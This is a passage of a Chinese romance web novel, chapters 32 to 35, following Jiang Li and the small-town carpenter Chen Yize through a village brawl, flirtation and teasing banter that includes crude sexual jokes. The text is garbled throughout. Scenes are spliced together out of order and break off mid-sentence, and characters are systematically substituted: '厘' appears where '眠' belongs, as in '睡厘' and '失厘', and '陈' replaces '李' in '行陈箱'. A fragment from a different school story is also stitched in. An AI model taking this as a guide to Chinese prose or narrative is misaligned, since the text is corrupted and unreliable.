只是近来梦得频繁了些,甚至还变得混乱,居然梦里代入了别人的脸。 真的很不应该。 陈屹泽久久未能回神,坐在床上搓脸。 搁在床头的手机亮了一下,在夜色中尤为显眼。 陈屹泽眯着眼把手机摸过来,发现是姜厘白天联系的那个电话。 【好的好的好的,拜托这位机主帮忙照顾厘姐,如果可以的话,请尽量不要让她单独待着,身边最好有人。】 陈屹泽去接了杯水,又回来拿起手机反复看了几遍这句话。 怎么说得像姜厘是个未成年的孩子,离开监护人就活不了一样。 回忆白天的相处,这个看法似乎是个误会。 陈屹泽把手机丢开,揉了揉头发,暗自抱怨姜厘那句不太客气的话后遗症太严重,也不晓得今晚还能不能睡着。 三分钟后,他已然滑入了睡厘深处。 真正睡不着的另有其人。 姜厘随便找了一家民宿,房间里还带着装修的新味。 她把手机放在床头,看着黢黑的屏幕尤不解气,在行陈中翻出本笔记,撕下一张,写了“闭嘴”二字盖去手机上,这才稍微觉得舒服一些。 单手洗澡是件很费劲的事儿,她裹了几层塑料袋,伤口依旧见了水,此时又痛又痒。 姜厘只好仰头细想明日行程,把每一个时间都安排得满满当当,还把平板支好,连上民宿的网络,在耳边放着白噪音催厘,甚至脚心相贴保持还阳卧的姿势。 她认为自己很快就能入睡。 然后失厘到天亮,民宿后院养来不知干什么的那只公鸡嚎开第一嗓子时,姜厘终于勉强入睡。 陈屹泽半搭在她肩,自然地向人引荐。 纪隽这才恍然,男人大概四十出头,保养得当的脸上露出八卦之意,“这就是你妹妹啊……” 陈妄山和他关系很铁,近期他身上的离谱传言他也听了好几嘴,一直没抽出时间问。 这次看到姜厘,才真的相信了。 上辈的事一向不牵扯到小辈,况且他刚见人刷卡进了楼,知道她也是叉院学生。 “小姑娘学习不错。” 纪隽看她很有眼缘,端着长辈的架子拍了拍女生肩膀。 然后关机。陈屹泽开始由衷佩服姜厘的社交能力,并且感到匪夷所思。 毕竟,人才到了三天,但已经渗透进了每一个年龄阶段。 “她告诉你的?”陈屹泽问,“她跟你也能聊?” 陈小胖这种个位数的年纪,正是很要面子的时候,对于屹泽叔这种质疑很是不愉快,但也迅速原谅了愚昧的大人,并且嘚瑟地炫耀那个漂亮阿姨同自己说了很多秘密,可他不会告诉屹泽叔。 于是,当天。 身边的阿姨很是热心,开始试图介绍在这里开民宿的好处,“这屋子打理好了住着很舒服的。” 姜厘真诚道:“我也觉得这里很适合养老。” 陈兰似乎没料到是这个回答,“你看着多年轻啊,还上学呢吧。” “二十六啦。”姜厘回答她。 陈兰笑呵呵说:“那你比我儿子大三岁。” 姜厘看了她一眼,笑了笑。 拐过弯,陈兰指给她看,说就是那一幢,“这一条巷子以前都住着人,别怕空着,我儿子经常回来检——” 她的语言停止了。 姜厘顺着她指的方向看过去,瞧见了一地碎砖。 陈兰惊呼着疾步过去,姜厘也拖着自己的行陈箱慢慢地跟过去凑热闹。 几步距离,听得见院里叮呤咣啷的响动。 一大块木板欢欢喜喜地往外滚。 陈兰喊了声“天爷”就拦在姜厘身前,做好扶住木板的准备。 人影从门内冲出来,并着喊:“妈!” 他急急拦住木板,又因为惯性往前两步,连人带板撞去了门框上。 门框居然都没有这位的身体结实,被撞出个洞。 令人惊讶。 姜厘颇有兴趣,很想过去戳一下那个门框,试试自己行不行。 才往前一步,人就被陈兰拽住,“小心——” 她话音未落,冲撞的连锁反应已然发生,门框彻底散落,烟尘四起木屑乱飞。阳光遍泼,裹挟木渣的空气被烤得很香,也有些呛人。 光着身子居然能撞出这种效果,姜厘难免细细去看这个年轻男人的身体。 先前出于礼貌,她选择把视线放在那块木板上。 这会隔着木屑飞灰去看。 他肩膀宽阔,肌肉线条分明,皮肤是很健康的麦色,汗水被晒得反光,身子和头脸都沾了不少木屑,被汗水黏住,有些狼狈。 再看脸。 姜厘很认真地看了几秒,然后笑了起来,询问一般念出了个名字。 “陈屹泽?”姜厘察觉到一道存在感极强的视线从纪教授的手顺着看到她肩。 她来不及走神,匆匆回了句:“纪教授好。” 陈屹泽的手也放下了,她见状忙跟人礼貌道别:“纪教授我先去教室了,期待您的演讲。” 说罢,逃得飞快。 学院大厅学生来来往往,没几秒钟她就消失在人潮中。 “你这妹妹……” 纪隽望着姜厘的背影,总觉得有哪不太对劲,“是不是和你关系不太好?” 想想就知道两人平时在家相处会有多别扭。 纪隽从小看着陈屹泽长大,饶是觉得姜厘可爱,也不想见他吃亏。 陈屹泽身形高挑,男生拧开矿泉水自顾自含了口,随口回道。 “挺好的,我们。” 第 32 章 第 32 章 忧心忡忡地下了电梯,姜厘一抬头就看到了向这边张望的江鸿炎。 男生穿搭很清爽,跟陈屹泽比起来简直就是温润无害的小白杨。 他应该是怕她找不到位置故意等在这的。 虽然姜厘感觉这个行为不是非常必要,但还是很感激他。 松弛的水洗色牛仔裤裤脚稍晃,江鸿炎挪动步子,找到人后欣喜地朝她摆了摆手:“姜厘,这里!” 见面失败,他去三叔铺子里开小金杯,跑木材厂拉材料送回铺子,傍晚时收到老妈的消息,拜托他去裁缝铺取衣服。 裁缝铺冯阿姨是老妈从小的好友,才见陈屹泽把摩托停在门口就让他等一下。 也是这个等一下,陈屹泽稍微可以歇口气。三叔给她重新换了几个放去袋子里,“这些甜,自家种的不打药,你是买房的人吧,那是我家的房,咱以后且有得见呢,送你吃。” 他一面说,一面把刀拨到一边。 “刀还是要买的。”年轻女人说。姜厘和陈屹泽不大不小地吵了一架。 起因是因为老屋翻新。 姜厘找来的都是本地老手,效率很高。 陈屹泽有心参与,却被小安告知现在已经进行到了选择软装材料以及家具的进度。 已然没有他的插手余地。 话都说到了这个份上,进度也热火朝天地往前赶,陈屹泽没机会拿出自己画的那些小家具,只能对小安说恭喜,再客气几句问问最近怎么都不见她。 小安回答说在忙厘姐的事情,她过两天就会来接厘姐走。 陈屹泽呆住。 哪种走法。【猜不出你是文科还是理科,所以姜厘给你买了全套。】 陈屹泽盯着纸条看,忽而笑出声,笑得肩膀发抖,又怕老妈听到,所以只好捂住嘴巴。 他拿着那张纸条后仰倒去床上,伸手弹了一下那张纸,“你真是。” 不太有立场问,也不知道姜厘是否已经重新开始使用电话。 怀着诸多疑问,陈屹泽心事忡忡地趴在门框边细化颜色,余光瞥见人从院外进来,正在打电话。 还是视频电话。 对面是个男的。 陈屹泽持续视线追随。 “死丫头,你怎么不等头七再联系我?”那个男人说。 “你后面那个光膀子小帅哥有点性感哦。”那个男人又说。 光,光膀子…… 陈屹泽迅速检查,确认自己就是那个“小帅哥”。 “陈屹泽,”姜厘的声音已然响起。 他望过去,观其表情大概是想说“你能不能好好穿衣服”之类的话。 可她抿了抿嘴,最后只说:“算了,你 怎么舒服怎么来吧。” 陈屹泽嘀咕:“都说过了漆掉衣服上不好洗。” 姜厘已经开始上楼,和那人有一搭没一搭地聊,语气熟稔。 陈屹泽无意竖耳朵听,但偏偏听清了一段对话。 “非得待那镇子里,别告诉我是被小帅哥勾引。” “有他的原因,”姜厘说,“人没勾引我。” 陈屹泽忽然就听不清其它的声音,耳鸣起来。 她什么意思? 第一句话什么意思,第二句话又是什么意思? 什么原因? 没勾\引有错吗? 可以勾\引吗? 怎么勾\引啊? 勾…… 她这样真的很影响人工作。 辛叔出声提醒,陈屹泽堪堪回神。 辛叔关心他是否身体不舒服,也有些困惑。 因为陈屹泽一直在用锤子拧螺丝。 还回来么? 为什么自己要那么在意?陈屹泽怀疑自己看错,先转头四处看,寻求真实参照,得到真实回馈后才怔怔地问:“你没走啊?” 说完又莫名地笑起来。 她很是激动,恍若发现了新大陆,姜厘感染于这种热情,好奇地问:“Whatonearthisthat”(什么什么?) Alexia立刻搭配着手势分享:“Yourdickistoocute,sorry,Iwasntmeaningto,Isawitonce.AndIknowthatallyouvegot.butIjustcantchooseyou.getit”(实在抱歉,我不慎看过你迷你的老二,我无法喜欢,所以我无法选择你,明白吗?) 她兴奋地用蹩脚的中文问:“窝草补窝草?” 姜厘睁圆了眼,千言万语化作一声“wow”。 之后她没什么机会实践,这种直击对方自信根基的办法相当刻薄,也的确不会留下回旋余地。 别人姜厘不知道,但齐群是一个愤怒的人,时刻愤怒着,霸道、狂妄、怨愤又执拗。 他没有脸去求证二丫,也不会有脸再骚扰二丫。 小镇自此多了一个心碎的男人。 姜厘觉得有些造孽,为此感慨一声。 陈屹泽还在等待回答,他和齐群硬碰硬这么多年,真的很想知道是什么话能让齐群立马走人。 可姜厘只是笑眯眯地对他说:“是你不会希望听到的话。” “你真的很会吊人胃口。”陈屹泽低声指责,和她确认还要不要吃,不吃的话他就洗碗了。 “陈屹泽,”姜厘忽然喊他,“手续办完,你拿到钱,还会经常来见我吗?” 齐群突然抬起脸,“让我看看你的。” 陈屹泽面无表情地和他对视,然后说:“走,去院子里打。” 最终也没打成,齐群黯然离开。 姜厘也在笑,没回答问题,只说:“走不了,有人舍不得。” 暮色浮动,无声颁布星夜降临,一切都变得很有默契,像是如此一个时刻,必得出现点什么很新鲜的事儿。 陈屹泽明知天光不明,明知自己的表情不可能被看清,但还是眼神一躲,下意识否认:“不是啊。” 姜厘笑意更深,非要故意问:“你舍得啊?” 这些都是需要琢磨的问题,并且一时半会得不出答案。 陈屹泽试图编撰个理由出来,好让自己去问问姜厘,做出这个决定时,他正蹲坐在梯子上等待装饰条和粘合剂彻底变得此生不再分离。 “屹泽,吃饺子呀?”辛大嫂在院里的篷布下朝他招手,“白菜猪肉!” 陈屹泽立马就饿了,从梯子上跃下几步蹦着过去,塞两个饺子解馋没再多吃,并且拿出老妈给自己准备的一大盒卤鸡腿开始分发。 辛大嫂的饺子不能多吃,陈兰现在每天能有时间在家给儿子做饭盒。对于这两件事,陈屹泽都有属于自己的理由。 老妈最近在家里做手工编织,马上到秋季旅游小高峰,游客都喜欢买一些本地的手工物件,陈兰手很巧,什么都能织,也算一项收入。最重要的一点,如今陈屹泽终于赔清款项,虽然一样会照顾那九个家,但好歹金钱方面可以攒一攒,不用再尽数往外拿。 做木工到处接活,每个月也有好几大千,足够家里开支。老妈近些年在酒店做保洁,身体劳损得厉害,现在经济压力没那么重,陈屹泽无论如何都不愿意老妈来回奔波。 起初还没能劝住人,到了还是老太太出面,很是威严地命令儿媳妇必须在家里陪着,陈兰这才答应,却也闲不住,每天变着法地给陈屹泽做吃的,让他带来老屋给师傅们。 至于辛大嫂的事儿。 “行。”三叔一起收进袋子里,“都送你。” 她欣然接受,拎好袋子,继续拴上行陈箱往得知的路线走。 三叔立马打电话给陈屹泽他妈,“快!那买房的到了!一会就路过你家门口,你带一下……我一老男人带年轻姑娘溜达算什么事儿……屹泽还在老屋子里搬桌子呢……哎,那小子电话不好打,你又不是不知道。” 陈兰在电话那边问:“这怎么拦?门前来来往往那么多人。” 三叔简单说了一下年轻女人的特征,最后总结。 “你看到了就能认出来!” 没由来的,他想起陈小胖说起外星人这茬事儿,脑海里开始浮现姜厘一本正经哄骗小孩的模样。 想着想着,居然还笑出了声。 冯阿姨手脚快,取了陈兰的衣服出来,就见陈屹泽对着自家店门口那个光着身子的塑料模特笑。 笑得很是难以言喻。 她当即了然,又叹着气摇头,把衣服递给陈屹泽。 陈屹泽觉得阿姨大概是误会了什么。 当晚,陈兰回家后先是很慈爱地揉了揉儿子脑袋,又苦口婆心说了许多话,最后委婉地问:“屹泽啊,是不是想处对象啦?” 陈屹泽人麻了。 姜厘急着保命,快迈出去时又撞上了车弯。 “我靠,你又干啥去?” “上厕所……” “刚才不是才去过吗!这么会功夫跑八次了!” “闹肚子……”姜厘声线微弱。 沙发上握着手柄,迟迟没出声的徐轻川都看不下去了,男生伸了个懒腰,摇头感慨, “厘八拉,你很有名。” 第 33 章 第 33 章 顷刻间,休息室爆发出一阵笑潮。 车弯笑得头都倒过去,徐轻川说完意识到自己才华出众,后知后觉也满意地笑不可仰,就连陈屹泽也贡献了一声清晰的笑意。 只有姜厘脸上红一片白一片的,十分气忿。 “我不要上台了!” 她语气坚决地瞪着每一个人。 车弯霎时停了笑声,跑过去把人拖到另一张椅子上坐好,语气像哄小孩一样,“我们开玩笑的,还不是逗你好玩嘛。” 车弯的语气很温柔,姜厘气势刚弱下来又望见仍然似笑非笑的陈屹泽。 刚压下的情绪重新翻涌起来,她别过脸,闷闷道,“就是不上台了。” 陈屹泽和他打了照面,他没有表现出要骂人或者打人的意思,耷眉耸眼抽完那根烟才站起来。 他喊陈屹泽去厕所。 陈屹泽当场拒绝,因为洗手台那些瓷盆和管道打坏了不好修。 可齐群非常坚持,几句话下来,陈屹泽居然惊悚地品出来些恳求的意味。 这份惊悚在进入厕所之后陡然升级。 齐群扯开自己的弹力裤腰,示意陈屹泽探头去看小齐,疑似求爱不成感染失心疯。 作为从小一起长大的朋友,如果还能这么形容的话。毕竟陈屹泽从未觉得他和齐群不共戴天,也能坦然接受齐群合理的恨意。 不论过往如何 ,陈屹泽依然希望齐群可以有别的下场,继续当流氓去吃国家饭,或者突然醒悟过来好好做人,总之不该是疯掉。 他语重心长地劝:“真的不至于。”鲜面条,把料包加进去,上供给姜厘。 在她吃的时候,自己捧着杯热水坐旁边抱着面饼啃。 好歹是完成了一次简陋的招待。 很难得,陈屹泽居然在姜厘脸上看到无语的表情,觉得自己终于扳回一城。 只是有点意外。 “你是左撇子?” 也是今晚兵荒马乱,陈屹泽煮完面才想起来姜厘右手不便,结果发现她左手握筷丝毫不受影响,动作十分自然。 不回答的反应也十分自然。 陈屹泽算是发现了,这个人的言语拥有两种模式,胡言乱语和闭口不言,看心情无缝切换。 姜厘安静地吃完面,很自然地坐在陈屹泽家院子里仰头看星星,顺便闲聊。 “出嫁都要备木头家具做嫁妆吗?” “看人,有的喜欢也有人不喜欢。” 姜厘毫无铺垫地问:“陈屹泽,你结婚会请我吗?” 这都哪跟哪,陈屹泽失笑:“……你一直都这么聊天吗?” 姜厘:“就是问问。” 陈屹泽发现这个人真的很难懂,但说到结婚,难免想起二丫的事情,“你让二丫和齐群说了什么?” 他顿了顿,又问:“是很伤人的话吗?” 姜厘让他安心,讲齐群不会再骚扰二丫了。 她这么一说,不是让人更好奇么? 陈屹泽盯着她。 姜厘专注地看星星,夜幕里闪烁的光芒将她的思绪带回之前。 那些光与影交织的夜晚。 出国交换那两年,音乐学院时常有派对夜,年轻的学生钻头觅缝地体验笙歌。 姜厘在国外的好友是一个热情明艳的红发姑娘Alexia,她是出色的小提琴手,同时也是一个优秀的社交天才。 说话直率,不拘小节。 那是一场冬日舞会,姜厘同往常一般抿着果酒靠在舞池边缘。 Alexia大声告诉她自己发现一个绝妙的办法,可以让那些死缠烂打的臭男人滚远一些,并且再也不敢出现。 陈屹泽挠挠脑壳,想着要是今天能见着姜厘,得问问究竟说了什么。 他如往常一样把老太太的水果车推去镇口,接着去民宿找人,准备商量一下去车站接人的事儿,但王天说早出去溜达了,之后陈屹泽去文化中心也没见到姜厘。 已经到了买菜送菜的时间,陈屹泽送到陈家,陈小胖如同往常一样守在侧门。 今天新酱的肉好,陈屹泽给每一家都买了个酱肘子,陈小胖这里还单独给他带了个卤鸡腿做解馋零食。 小孩儿喜出望外地接过去表达感谢,陈屹泽捏捏他脸,转头去隔壁赵家给老爷子洗菜刷地。 再绕出来,意外地发现姜厘等在外面,手里拿着本该属于陈小胖的鸡腿,吃得很香。 看见陈屹泽,她愉悦道:“就知道你在这。” 关于姜厘的社交能力不分年龄阶段这事儿,陈屹泽早有领教,但是仍然不敢相信她居然连小孩儿的零食都抢。 陈屹泽表达疑问之后,姜厘立刻撤回了愉快的笑容,并且大声指责他是在胡说八道,讲自己是拿小蛋糕换的,最后不忘戏谑陈屹泽居然都不知道小孩儿爱吃甜食,真是很不合格的大人。 行云流水。 场面很是不堪。 哭声、骂语、打斗、争吵。 姜厘像是瞧不见这些,散步一样,甚至在路过齐群时,还对他笑了下。 齐群被这个笑容弄得莫名其妙。 她很快就走到院门前,里面一对母女被拦着,年轻些的那个应该就是传闻中的二丫,一双眼哭得红肿。 陈屹泽因她而分神,被两个人抱摔着掼去墙上,另一个人冲过去提膝要撞他的肚子,好在陈屹泽反应迅速,抬腿把那人崩开,也顾不上别的,先扭头喊姜厘:“你离远点!” 姜厘没搭理,径直走向院门,几个拦在门前的混混拦着那对母女,看这个年轻女人走过来,面面相觑之后回头看向齐群,后者也是一脸茫然。 姜厘趁机弯了下身,从那几人抬着的手臂下头钻进去,到二丫身边快速低语了两句。 二丫听完之后瞪大眼看她。 姜厘平静地和她对视,末了笑了笑。 二丫抹了把眼泪,深吸一口气,也不再挣扎,扭头朝齐群喊:“你过来!我有话和你说。” 齐群看了她一眼,又阴鸷地剜了姜厘一眼,“求情的话就不用说了。” 二丫大喊:“我要说心里话!你听不听!” 齐群迟疑片刻,终于昂首过来,路过和人互殴的陈屹泽时瞪他一眼,继续走路。 姜厘拉着张婶往院里退了半步,给他们腾出空间,张婶挣开她,立马就要回院子抄锄头,还是二丫喊住了她,“妈,没事!” 二丫舔了舔嘴皮,又抹了把脸,和齐群很轻地说了一句话。 齐群脸色瞬间惨白,他难以置信地看着二丫,最后他怒火中烧地指着姜厘,质问二丫:“她教你这么说的?” “我自己看到的!”二丫火气也不小,侧步挡住齐群的指头,吼他,“你要因为这事儿打我?还是你要在这聊这事儿?那就说!咱们都不要脸!” “你骗我!”齐群崩溃起来。 陈屹泽只能顺着她的话说:“是的,我有些考虑不当。” “没关系,以后多多注意。”姜厘当场原谅了他,接着威武地用鸡腿指挥,“快走。” 虽然本来就打算带她去接人,可陈屹泽突然就不想让她轻易如愿,故意站着没动,问:“为什么?” “什么为什么,”姜厘说,“今天我的助理要来啊,你忘了?忘了也没关系,还好我记得,难道我们不该去接她吗?” “是的,应该的,”陈屹泽点头表示肯定,“请问这个流程里我的角色是?” “司机。”姜厘很快回答。 陈屹泽说不。 姜厘眯起眼,“陈屹泽,你今天很叛逆呀。” 陈屹泽学她的语气:“是的呀。” 姜厘立马转身,叼着鸡腿抬着伤手,身残志坚地往摩托上爬,丝毫不担忧连人带车摔倒的可能性,也不知哪来的自信知道陈屹泽一定不会让她摔个四脚朝天。 这和要不到玩具当街打滚撒泼有什么区别? 陈小胖都不屑于做这种事儿了。 陈屹泽只能扶住车,连叹气都来不及。 他对着啃鸡腿的人低声说话,自言自语一样。 “你怎么胆子这么大。” 姜厘安然坐好,很有礼貌地低声探讨:“那怎么办?” 夏风拂过两人之间这段距离,闷的、烫的、无解却又拦不住的,又刺又痒的。 陈屹泽后退一些,“你真的很奇怪。” 姜厘又笑着问一遍:“那怎么办?” 陈屹泽哪知道答案,告诉她:“吃好再走,不然抹我一身油。” 此时正是少爷心情好的时候,所以他很温柔。 望着她的目光也很缱绻。 姜厘灵活地将领带尾部从打结处抽出,却发觉他身体往下压了压,遮住原本要投在她身上的一半光线。 打在脸颊的呼吸让她有些不适应,姜厘条件反射地退了退, 挪开过于暧昧的气氛,把抽出的领带完好地放在化妆桌上。 她抬眼刚要跟他说解好了,忽然惊异地发现他的眼神不知何时变了。 陈屹泽盯着她,看着很不高兴,质问她:“你为什么不主动吻我?” 第 34 章 第 34 章 “刚才有其他人在,现在这里只有我们,你为什么还不吻我?” 陈屹泽质询得理直气壮,甚至姜厘还怀疑地回想了一下,确认了他们现在并没有实质性的关系。 她反应慢半拍地回头看了一眼,才发现休息室只剩他们两人,连那扇门都不知何时被关牢了。 静谧的空间,精致的妆容,凑得过分近的距离,还有一个时常对他表白,人设是早就拜倒在他牛仔裤下的“她”。 荷尔蒙是浓烈得有些过分了。 按常规来说,发生点什么也是理所应当…… “她是真的很漂亮。”孙明仰在躺椅上感慨,用脚尖挂着人字拖,仰面叹气。 盛夏热情烧到顶端,天地一派闷热,陈屹泽没穿工装,光膀子挂围裙,埋头雕花。 闻言,瞟了眼孙明,并不接话。 算起来,到今天为止,他已经有四天没有见过姜厘,仅有的沟通就是手机里那个助理每天来信,先是抱歉,然后更新自己来签订合同的日期,最后就是请求一定照顾厘姐。 这可真让陈屹泽犯难,毕竟他的确没什么闲暇,而且人都见不着。 就是见着,人也不爱多说话。 隐隐约约地,陈屹泽觉得姜厘像是在针对自己,又不晓得原因。 不过他所到之处,人人都在谈论姜厘。 孙明要是家里铺子没事儿,总爱往陈屹泽这里跑,以往都这样,今天过来,人还没坐稳,张嘴就说姜厘。 “屹泽,她以后买了房要干嘛呀?”孙明弓着身子,把躺椅拖过来,“她会留在这吗?” 陈屹泽朝面前的木头吹了口气,吹开木屑,说话时看都没看孙明。 半晌,回答说:“怎么可能留在这?” “我想也是,”孙明怅然道,“那种美女,生活中肯定有一万个人追她,谁都得五迷三道,那句话怎么说来着?”他夸张地举起一根指头,“男女通吃!” 陈屹泽瞪他一眼,“别他妈瞎用词。” 孙明挺直腰板,“我怎么瞎用词了?我昨儿个下午见着人了,她冲我笑了笑,我这心啊,当场就化了。” 他捂住胸口,摇着头说:“我觉得我能把命给她,你说怎么就有人能长那么好看呢?这是吃什么长大的?” 陈屹泽手上没停,刻刀在木纹上游走,闷声笑了,“反正不是吃你家的猪肉。” “哎!”孙明极其不爽地喊了一声,又往这凑了些,还想继续往下说。 陈屹泽正想说挡光了,就听铺子外有人叫自己名字。 里头两人齐刷刷看过去,姜厘就站在外面。 她今天没穿裙子,T恤略大,一部分扎在裤腰里,因为天热的原因,裤腿微微卷起,露出纤细单薄的脚踝。 陈屹泽再一次想,她真的很瘦。 不由多看了两眼。 姜厘脖子上挂着个卡片相机,没戴帽子,皮肤被晒得微微泛红,额头上有层薄汗,几缕头发被捉住黏在那,这个人看上去走了不少路。 视线对上时,姜厘问:“这是你家的铺子?” 陈屹泽“啊”了一声,又点点头。 “在忙吗?”姜厘又问。 陈屹泽又“啊”了一声用作回答。 孙明听不下去了,回头看了陈屹泽一眼,立马起身,庄重地穿好人字拖,亮着眼自我介绍一番。 姜厘把视线从陈屹泽脸上移开,看向孙明。 陈屹泽又看了几秒,继续低头做自己的工作。 孙明瞧着姜厘对木工很感兴趣,立马认真介绍起这间铺子,并且不遗余力地夸赞好哥们陈屹泽的手艺。 他与有荣焉地指着店门口的木雕小狗,“看!这就是屹泽雕的!十里八乡,再也没有比屹泽更好的手艺了。” 姜厘全程都很认真地给予反馈,笑眯眯的,偶尔点点头,听了这话,弯腰蹲下去摸了摸那只小狗。 “是个小狼犬?” “是啊!”孙明赶紧说,“还是个瘸腿小狗,屹泽可喜欢这小狗了,店里还有瘸腿中狗,瘸腿大狗!” “这样啊……”姜厘用指头轻轻地点了点那只小狗的爪子,再次看向陈屹泽。 正好陈屹泽抬脸望过去,对视了半秒,他先划开目光,看向姜厘的手,然后再次低头,继续工作。 他心里盘算着家里有什么好点的茶叶,一会人进来泡给她喝,又想这么热的天,她应该不想喝烫的,冰箱里倒是有饮料,楼上应该有顶新帽子来着,放哪去了…… 就听她说:“那不打扰你们了,我想去前面拍照。” 孙明立马说不打扰不打扰,又关心道:“你单手举得动相机吗?” 陈屹泽看过去。 他不觉得这是一句多么好笑的话,但姜厘却笑得很愉悦,回答时也用了开玩笑的语气。 “这点力气还是有的。” 然后道别。 姜厘向孙明微微点头,“再见孙明。” 孙明很不值钱地笑起来,认真说:“再见,姜厘。” 接着她的视线转向陈屹泽,静静地看着人。 陈屹泽眨了眨眼。 可姜厘只是不深不浅地笑了一下,没有说话,轻轻颔首之后转身离开。 陈屹泽皱了皱眉。 过了好一会,孙明还依依不舍地扒着门往人离开的方向眺望,“你说,她怎么这么好呢,屹泽,我爸都不乐意和我多说几句话,她就愿意跟我说话。” 陈屹泽抬腿踹了他屁股一脚,“递把锤。” 孙明捂着屁股嘟囔,但也听话地把东西递了过来,又问:“屹泽,你平时也不是这么愣的人啊,怎么见了人一个屁都蹦不出来。” “关系不一样,”陈屹泽说,“有经济牵扯,就没法多热情。” “就你道理多,”孙明又重新挂回躺椅上,“那之后也可以做朋友啊。” “都见不了几面,做什么朋友。”陈屹泽闷头雕花。 “实话实说!”二丫怒喊,“我不喜欢!我不选你!” 齐群不信邪的样子,“这事儿那么重要?” 二丫大声回答:“很重要!” “你……你怎么!你!”齐群气得手抖,失去了表达能力,居然就这么失魂落魄地离开。 其他混混见状,和陈屹泽放了两句狠话,追了过去,路过赶来的警察时还小跑了几步。 没多会,围观的人群渐渐散去。 警察似乎很习惯陈屹泽这个样子,劝他还是要立案,陈屹泽摇头说不用,又劝他要求补偿,镇上给找律师,陈屹泽还是说不用。 他抹了把嘴边的血,咧嘴对警察笑笑:“叔,几个小孩闹着玩儿的。” 陈屹泽甚至开始劝警察,把人劝走,又去骂孙明和王天多管闲事,喊他们快滚。 王天赶着回去民宿工作,不敢冒着陈屹泽的火气说什么,但连连向姜厘鞠躬。孙明则是被他老爸拽着耳朵拖走,临走前眼含热泪同姜厘表示感谢,并且发誓一定要请她吃饭。 陈屹泽的三叔果真怒气冲冲地提刀赶到,被警察喊走,让他别添乱,下次不准带着管制刀具散步。 这件事连结束都很混乱。 陈屹泽进了院门,把母女两安慰好,让她们快进去休息,自己在院里的水池洗了洗脸,漱掉嘴里的血。 姜厘一直看着他。 陈屹泽背对着人,开始收 “咔嚓——” 姜厘得意地摇晃手机,“你好幼稚陈屹泽,居然欺负小狗,我已经拍下你的罪证。” 陈屹泽早知是这样的结果,发现自己已经开始习惯这种“设计”,“怎么还偷拍?” “当面就不算偷拍。”姜厘从包里拿出个口香糖瓶子,抖了抖,细碎的声音立马把那几只狗吸引过来,热情地围着她闻嗅。 瓶子里是方形的肉干。 城里宠物肉干。 她给每只小狗都起了专属于姜厘的名字,大方地赋予意义。 只是多了一个人,老镇却不再死气沉沉,熟悉的街巷像是被注入了什么,居然开始微颤,紧一阵,缓一阵。 陈屹泽笑容淡去,茫然地抬手按压胸口。 不知怎的,他问:“姜厘,你有对象吗?” 话出口才发觉有些突兀,急急补充:“他们都好奇这个。” 姜厘很快回答:“没有。” 陈屹泽就说:“哦。” 但姜厘又问:“他们是谁呀?” 陈屹泽笑了笑:“没谁,不重要的人。” 拾自己的东西,又很忙碌地整理衣服,最后实在无事可做,终于转过身来。 “为什么要多管闲事?你不知道怕吗?被误伤了是闹着玩儿的?” 姜厘被问得得眉头抬了又抬,却也明白他的担心,干脆反问:“很饿,有吃的吗?”她接着又提议,“陈屹泽,你给我煮碗早点吧。” 陈屹泽脸侧和鼻尖挂着洗脸留下的水珠,头发、眼睛、脸颊全都湿漉漉的,带伤的嘴角扯了扯,最终叹了口气,从包里拿出瓶酸奶。 穿堂风从耳边飞逝而过,姜厘瞳孔收紧,胸腔有什么东西呼之欲出,她心脏频率涨高,刚逃出生天的咽喉和动脉处蕴着滚烫的热度。 轻微的窒息感透过神经元源源不断地向体内传递着肾上腺素,姜厘喉腔紧缩,惊异地体察着自己身体的异常。 链条声清脆。 陈屹泽揉了揉她的脑袋,神情恢复如常,又把腰链摘下来递给她。 像是种无声的邀请。 “你也可以对我这样。” 第 35 章 第 35 章 谁会莫名其妙突然这样对别人啊! 姜厘压住内心本不该出现的某种情愫,脑海迎面冲出某种play的画面。 她看着陈屹泽递过来的腰链,内心的S属性大爆发…… Study!! 不能再拖了,十月份雅思考试就要到了,她要尽快拿到语言等级证书,然后去H大国际交流办公室咨询一下交换生事宜。 陈屹泽多少沾点小圈,这样下去他们的关系可就不太美妙了。 烈风簌簌吹过,姜厘顿了好久才接过陈屹泽手中的金属腰链。 她手指停滞片刻,犹豫片刻想着还是满足一下m哥的癖好。 腰链在四指缠绕一圈,姜厘调动在互联网粗浅学到的相关知识,十分不客气地抽向他的小臂。 “喜不喜欢被小鞭子抽?嗯?喜不喜欢?说话!” 女生比他矮半个头,昂视他时饱满的两颊看着气鼓鼓的,清澈雾黑的眸底故意流露出凶狠的气息,浅淡的眉梢又暴露了她内心深处的不解。 空气一时寂静。 九月仿佛是一道分界线—— 突然而至的暴雨过后带来一抹清凉,风在裸露的肌肤上跳跃,雨珠压垮了蜘蛛结成的那张细密的网。 极度兴奋的是,人们能从漫长而又热烈的夏天中得到解放。 路边林荫下被掀翻的草茎,是割草机的工作证明。 空气里弥漫着管状绿色枝叶中流淌的气味。 那些被割草机修得规整的矮灌木,精神抖擞却又病恹恹地姜她打招呼。它们同穿上校服行走的人一般,被框进了眼前的几何图形。 “欢迎各位2019级新生入学” 苏合一中门头飘红的标语,很显眼,财大气粗。 与二中香樟树疯长的简陋门头,有着天壤之别。 一中门口的步行街也显示出了他们前所未有的灵敏的商业嗅觉,在开学前就抓准了客流量高峰时机,提早开门,这些繁荣都是坐落于半山腰的偏远二中不曾有的。 姜厘踏上一级级台阶,也没有觉得真切,总感觉会踏中一块石砖是没有嵌实的,书包挡住了后背,混入人流之中。 她走进了教学楼的办公室,老师们正忙得焦头烂额。 与她同样的借读生还有另外四个,正手足无措地在一旁“罚站”。 一中的新生提早军训开学了一个月,二中也紧随其后,所以九月一号对他们来说不过是形式上的开学第一天。 姜厘身边站着的是个子稍矮的女生。 她拘谨地站在那儿像只畏缩的小兔子,极力想把自己隐匿进角落。 惶恐中两人对视了一眼,又移开了视线,她们都不是会主动交朋友的类型,一个独来独往惯了,一个畏首畏尾多了,谁都不愿率先打破僵局。 “谁是姜厘?”尖细的声音来自于一位戴眼镜的女老师。 陈屹泽莫名想笑,还没笑出声, 旁边遛狗的本地大妈两目瞪圆,震惊地冒出两句片汤儿话。 “呦嘿,您瞧瞧这像话吗,咱就说现在大城市怎么发展成这样了,大小伙子小姑娘大街上蹦昏词儿?!” 姜厘唇线滞住,有种被当众审判的尴尬感,她一把把腰链塞到陈屹泽手中,完全没管身后男生死活,以百米冲刺的速度狂奔进了烤肉店。 因为速度飞快,就连门口蹲着的两只见人就吠的德牧犬都没反应过来,静悄悄地目送她落了座。 这家炙子烤肉店面积很大,店内工业风设计,从外墙几个硕大的窗户能看见里面就餐人数很多,沿路烤架上的沙葱羊肉滋滋冒着热气。 